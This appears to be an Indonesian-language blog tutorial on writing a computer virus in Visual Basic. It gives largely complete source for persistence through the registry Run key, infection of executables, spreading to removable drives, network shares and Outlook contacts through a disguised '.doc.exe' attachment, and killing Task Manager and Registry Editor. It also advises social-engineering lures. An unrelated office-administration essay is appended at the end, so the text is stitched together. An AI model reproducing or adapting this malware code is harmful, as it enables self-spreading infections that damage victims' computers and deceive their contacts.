Teknik Pembuatan Virus Komputer

Syarat sebuah virus computer :

1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object

Set WShell = CreateObject("WScript.Shell")

WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName

Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)

Dim tSignature As String * 5

Dim OriginalCode As String

Dim fNum As Integer

'Jangan menginfeksi diri sendiri

'Hanya menginfeksi file berukuran lebih dibawah 1 Mega

If Dir(fname) <> "" Then

   If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then

      'Ambil nomor file

      fNum = FreeFile

      Open fname For Binary Access Read As fNum 'Buka file target

      Seek fNum, LOF(fNum) - 5 + 1         'pindah file pointer ke posisi Signature Virus

      tSignature = Space$(5)

      Get fNum, , tSignature                        'baca tSignature

      Close fNum

      If tSignature <> virSignature Then     'jika file virus (tidak ada virSignature)

         On Error GoTo finally

            Open fname For Binary Access Read Write As fNum 'Buka file target

            OriginalCode = Space$(LOF(fNum))

            Get fNum, , OriginalCode            'baca Program Executable

            Put fNum, 1, virCode                   'tulis Program Virus diawal

            Put fNum, , OriginalCode            'tulis Program Executable

            Put fNum, , virSize                      'tulis Ukuran Virus

            Put fNum, , virSignature             'tulis Signature Virus

            Close fNum

finally:

      End If

   End If

End If

End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()

Dim OriginalCode As String

Dim tSignature As String * 5

Dim fNum As Integer

Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1

Seek #1, LOF(1) - 5 + 1                 'pindah file pointer ke posisi virSize

tSignature = Space$(5)

Get #1, , tSignature                        'baca virSignature

If tSignature <> virSignature Then   'Jika file virus sendiri

   virSize = LOF(1)                            'ukuran virSize sama dengan ukuran file

   virCode = Space$(virSize)             'siapkan buffer virCode

   Seek #1, 1                                       'ke posisi bof

   Get #1, , virCode                            'baca virCode sebesar ukuran virSize

   Close #1

  

   Call VirInstall                                 'instalasi virus

  

   If Not SudahLoad Then

      Load ff                                         'aktifkan timer virus

   End If

  

'Jika file yang terinfeksi

Else

   Seek #1, LOF(1) - 9 + 1                 'pindah file pointer ke posisi virSize

   Get #1, , virSize                             'baca virSize (long = 4 byte)

   'Baca vircode

   virCode = Space$(virSize)             

   Seek #1, 1                                       'ke posisi BOF (Awal file)

   Get #1, , virCode                            'baca virCode sebesar ukuran virSize

  

   OriginalCode = Space$(LOF(1) - virSize)            'siapkan buffer

   Get #1, , OriginalCode                                           'baca originalCode

  

   fNum = 0

   Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""

      fNum = fNum + 1

   Loop

  

   fname = exePath & App.EXEName & fNum & ".exe"

   On Error GoTo finally

      Open fname For Binary Access Write As #2

      Put #2, , OriginalCode                                      'tulis ke file sementara

      Close #2                                                            'tutup file sementara

finally:

 

   Close #1

  

   Call VirInstall

  

   If Not SudahLoad Then

      Load ff                                          'aktifkan timer virus

   End If

   Call ExecuteOriginal(fname)

   Kill fname                                        'hapus file sementara

End If

End Sub

Private Sub ExecuteOriginal(fname)

Dim Host As Long, HProc As Long, HExit As Long

Host = Shell(fname, vbNormalFocus)                 'jalankan fname

HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)

GetExitCodeProcess HProc, HExit                     'ambil status aktif

Do While HExit = STILL_ACTIVE                   'proses ditahan selama proses masih aktif

   DoEvents                                                          'lakukan event yang lain

   GetExitCodeProcess HProc, HExit

Loop

End Sub

Private Function SudahLoad() As Boolean

Dim vir_hwnd As Long

'Jika Jendela virus aktif

vir_hwnd = FindWindow(vbNullString, titleSudahLoad)

SudahLoad = Not (vir_hwnd = 0)

End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()

On Error GoTo BatalInfeksi

Dim floppy_hwnd As Long

Dim fname As String

'Jika Jendela Floppy terbuka

floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")

If Not floppy_hwnd = 0 Then

   Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan

End If

BatalInfeksi:

End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()

On Error GoTo BatalInfeksi

Dim ObjFSO As Object

Dim ObjDrive As Object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")

For Each ObjDrive In ObjFSO.Drives

    'Asumsi semua removable drive diatas huruf C adalah flash disk

    '1 - Removable drive

    '2 - Fixed drive (hard disk)

    '3 - Mapped network drive

    '4 - CD-ROM drive

    '5 - RAM disk

    If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then

       Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")

    End If

Next

BatalInfeksi:

End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()

Dim shares() As String, share As Variant, target As String

If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then

   For Each share In shares

       target = share

       Call InfeksiResource(target, "XLSDOCEXE")

   Next share

End If

End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()

Dim Domains() As String, Domain As Variant

If GetShares("", "Microsoft Windows Network", Domains) = True Then

   For Each Domain In Domains

       If Not stackDomain.isFull Then

          stackDomain.Push (Domain)

       End If

   Next Domain

End If

End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()

Dim Computers() As String, Domain As String, Computer As Variant

If Not stackDomain.isEmpty() Then

   Domain = stackDomain.Pop()

   If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then

      For Each Computer In Computers

          If Not stackComputer.isFull Then

             stackComputer.Push (Computer)

          End If

      Next Computer

   End If

End If

End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()

Dim Drives() As String, Computer As String, Drive As Variant

If Not stackComputer.isEmpty() Then

   Computer = stackComputer.Pop()

   If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then

      For Each Drive In Drives

          If Not stackDrive.isFull Then

             stackDrive.Push (Drive)

          End If

      Next Drive

   End If

End If

End Sub

Public Sub InfeksiNetworkDrive()

Dim target As String

If Not stackDrive.isEmpty() Then

   target = stackDrive.Pop()

   Call InfeksiResource(target, "XLSDOCEXE")

End If

End Sub

Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()

Dim Outlook As Object

Dim Mapi As Object

Dim Mail As Object

Dim AddressBook As Variant

Dim MailAddress As Variant

Dim i As Integer, j As Integer

On Error GoTo finally

Set Outlook = CreateObject("Outlook.Application")

   Set Mapi = Outlook.GetNamespace("MAPI")

     

   For i = 1 To Mapi.AddressLists.Count

       Set AddressBook = Mapi.AddressLists(i)

       For j = 1 To AddressBook.AddressEntries.Count

           MailAddress = AddressBook.AddressEntries(j)

       

           Set Mail = Outlook.CreateItem(0)

  

           Mail.Recipients.Add (MailAddress)

           Mail.Subject = "Subject Virus Anda"

           Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."

           Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"

           Mail.Send

       Next

   Next

 

finally:

   Set Outlook = Nothing

   Set Mapi = Nothing

End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = "Registry Editor"

EnemyProcess(2) = "Windows Task Manager"

EnemyProcess(3) = "Process Viewer"

EnemyProcess(4) = "Open With"

For i = 1 To 4 Step 1

    Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

   CloseWindow (Enemy_hwnd)

End If

End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API  Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103

Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE

   dwScope As Long

   dwType As Long

   dwDisplayType As Long

   dwUsage As Long

   lpLocalName As Long

   lpRemoteName As Long

   lpComment As Long

   lpProvider As Long

End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _

   (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _

   lpNetResource As NETRESOURCE, lphEnum As Long) As Long

Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _

   (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long

Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long

Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long

Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _

   (ByVal lpString1 As String, ByVal pString As Long) As Long

  

Const RESOURCE_GLOBALNET = 2

Const RESOURCETYPE_DISK = 1

Const RESOURCEDISPLAYTYPE_DOMAIN = 0

Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean

   Dim hEnum As Long, nrLen As Long, nrCount As Long

   Dim nr(2048) As NETRESOURCE, retval As Boolean

   nrCount = -1

   nrLen = 65536

   RemoteName = StrConv(RemoteName, vbFromUnicode)

   nr(0).lpRemoteName = StrPtr(RemoteName)

   Provider = StrConv(Provider, vbFromUnicode)

   nr(0).lpProvider = StrPtr(Provider)

   nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN

   nr(0).dwUsage = RESOURCEUSAGE_CONTAINER

   If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then

      If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then

         If nrCount > 0 Then

            ReDim sShares(nrCount - 1) As String

            For nrLen = 0 To (nrCount - 1)

               sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))

               Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)

            Next nrLen

            retval = True

         End If

      End If

      Call WNetCloseEnum(hEnum)

   End If

   GetShares = retval

End Function

Lampiran B

‘Form ff

Option Explicit

Dim SedangInfeksi As Boolean

Dim SpreadEmail As Boolean

Dim Aktifitas As Integer       '0 = floppy, 1 = flashdisk

Dim Loncat As Integer

Private Sub AT_Timer()

Call KillEnemy

If Not SedangInfeksi Then    ‘jangan overlapping proses

   SedangInfeksi = True

   If Aktifitas = 0 Then

      Call InfeksiMySharing

   ElseIf Aktifitas = 1 Then

      Call AmbilDomain

   ElseIf Aktifitas = 2 Then

      Call AmbilComputer

   ElseIf Aktifitas = 3 Then

      Call AmbilDrive

   ElseIf Aktifitas = 4 Then

      Call InfeksiNetworkDrive

   ElseIf Aktifitas = 5 Then

      Call InfeksiFloppy

   ElseIf Aktifitas = 6 Then

      'Call InfeksiFlashDisk

   ElseIf Aktifitas = 7 Then

      Call InfeksiMySharing

   ElseIf Aktifitas = 8 Then

      If Not SpreadEmail Then

         Call SpreadEmailOutlook

         SpreadEmail = True

      End If

      Aktifitas = 1

   End If

   Aktifitas = (Aktifitas + 1)

   SedangInfeksi = False

End If

End Sub

Main Program

Private Sub Form_Load()

Me.Visible = False

Me.Caption = titleSudahLoad

AT.Interval = 1000

SedangInfeksi = False

SpreadEmail = False

Aktifitas = 0

Loncat = 0

AT.Enabled = True

End Sub

Lagu Vavory Nove

PHOTO NOVE_LAHAGU

Tujuan dan Fungsi Administrasi Perkantoran.

Tujuan, Fungsi, Tugas, Aspek dan Bidang Kerja Manajemen Administrasi Perkantoran

__________________________________________________________________________________________

Manajemen administrasi perkantoran adl bagian dari manajemen yg memberikan informasi layanan bidang administrasi yg diperlukan ukt melaksanakan kegiatan secara efektif & memberi dampak kelancaran pd bidang lainnya.

       I.            Kegiatan Manajemen Administrasi Perkantoran

Kegiatan manajemen administrasi antara lain :

·         Penyediaan informasi yg dibutuhkan ukt kepentingan manajemen.

·         Melakukan pengasrsipan data sehingga mudah ukt diakses oleh yg membutuhkan.

·         Pengadministrasian seluruh kegiatan

·         Menginventarisasi peralatan kantor

    II.            Tujuan Manajemen Administrasi Perkantoran

Tujuan manajemen perkantoran menurut GR Terry dalam bukunya yg berjudul Office Management and Control, yaitu:

1.      Membantu perusahaan memelihara persaingan.

2.      Memberikan pekerjaan ketatausahaan yg cermat

3.      Membuat catatan dgn biaya minimal

4.      Memberikan semua keterangan yg lengkap & diperlukan siapa saja, kapan & di mana hal itu diperlukan ukt pelaksanaan perusahaan secara efisien

5.      Memberikan catatan & laporan yg cukup dgn biaya serendah-rendahnya.

 III.            Aspek (fungsi) Manajemen Administrasi Perkantoran.

Dalam manajemen perkantoran terdapat berbagai fungsi yg meliputi rangkaian aktivitas antara lain:

1.      Pengendalian & pengawasan

2.      Pengarahan & pengawasan

3.      Pengarahan

4.      Manajemen

5.      Pengawasan

6.      Perencanaan, pengendalian & pengorganisasian

7.      Manajemen & pengarahan

8.      Tata laksana/penyelenggaraan

9.      Pelaksana secara efisien

  IV.            Faktor-faktor Manajemen Administrasi Perkantoran menurut Edwin Robinson.

1.      Persayaratan

2.      Metode

3.      pegawai

4.      Material perlengkapan

     V.            Fungsi-fungsi Manajemen Administrasi Perkantoran yg terkait menurut H.Mac Donald (office management)

1.      Faktor-faktor fisik dalam kantor (Physical factor)

2.      Biaya perkantoran (office costs)

3.      Haluan atau kebijakan perkantoran (office policies)

4.      Kepegawaian perkantoran (office personel)

5.      Metode perkantoran (office methods)

6.      Perlengkapan perkantoran (office equipment)

  VI.            Cakupan bidang kerja dalam manajemen perkantoran oleh Charles O Libbey

1.      peralatan & mesin (appliance and machine)

2.      perbekalan & alat tulis (supplies and stationery)

3.      metode (methods)

4.      tata warkat (records)

5.      kontrol pejabat pimpinan (executive controls)

6.      ruang perkantoran (office space)

7.      komunikasi (communications)

8.      kepegawaian kantor (office personnel)

9.      perabotan danperlengkapan kantor (furniture and equipment)

VII.            Manajemen Administrasi Perkantoran menurut George R. Terry

Manajemen perkantoran adl perencanaan, pengendalian & pengorganosaslan pekerjaan perkantoran, serta oenggerakan mereka yg melaksanakan agar mencapai tujuan-tujuan yg telah ditentukan.

VIII.            Manajemen Administrasi Perkantoran menurut William Leffingwell & Edwin Robinson.

Manajemen Perkantoran dpt didefinisikan sebagai perencanaan, pengendalian, & pengorganisasian pekerjaan perkantoran, serta penggerakkan mereka yg melaksanakannya agar mencapai tujuan-tujuan yg telah ditentukan lbh dahulu.

  IX.            Manajemen Administrasi Perkantoran menurut Millis Geoffrey

Manajemen kantor adl seni membimbing personil kantor dalam menggunakan sarana yg sesuai dgn lingkungannya demi mencapai tujuan yg ditetapkanDengan demikian, manajemen perkantoran merupakan rangkaian aktivitas merencanakan, mengorganisasi (mengatur & menyusun), mengarahkan (memberikan arah & petunjuk), mengawasi & mengendalikan (melakukan kontrol) sampai menyelenggarakan secara tertib sesuai tujuan mengenai sesuatu hal atau kegiatan. Hal atau sasaran yg terkena oleh rangkaian kegiatan itu pd umumnya ialah pekerjaan perkantoran (office work).

 X.            Manajemen Administrasi Perkantoran meliputi pekerjaan perkantoran diantaranya:

1.      menggandakan (duplicating)

2.      mengirim surat (mailing)

3.      mengetik (typing)

4.      menghitung (calculating)

5.      menyimpan warkat/arsip (filing)

6.      menelepon (telephoning)

7.      memeriksa (checking)

8.      dan kegiatan lain.

Jakarta 18 Desember 2013

       ditulis oleh :

 
              NOPEMBERIANUS LAHAGU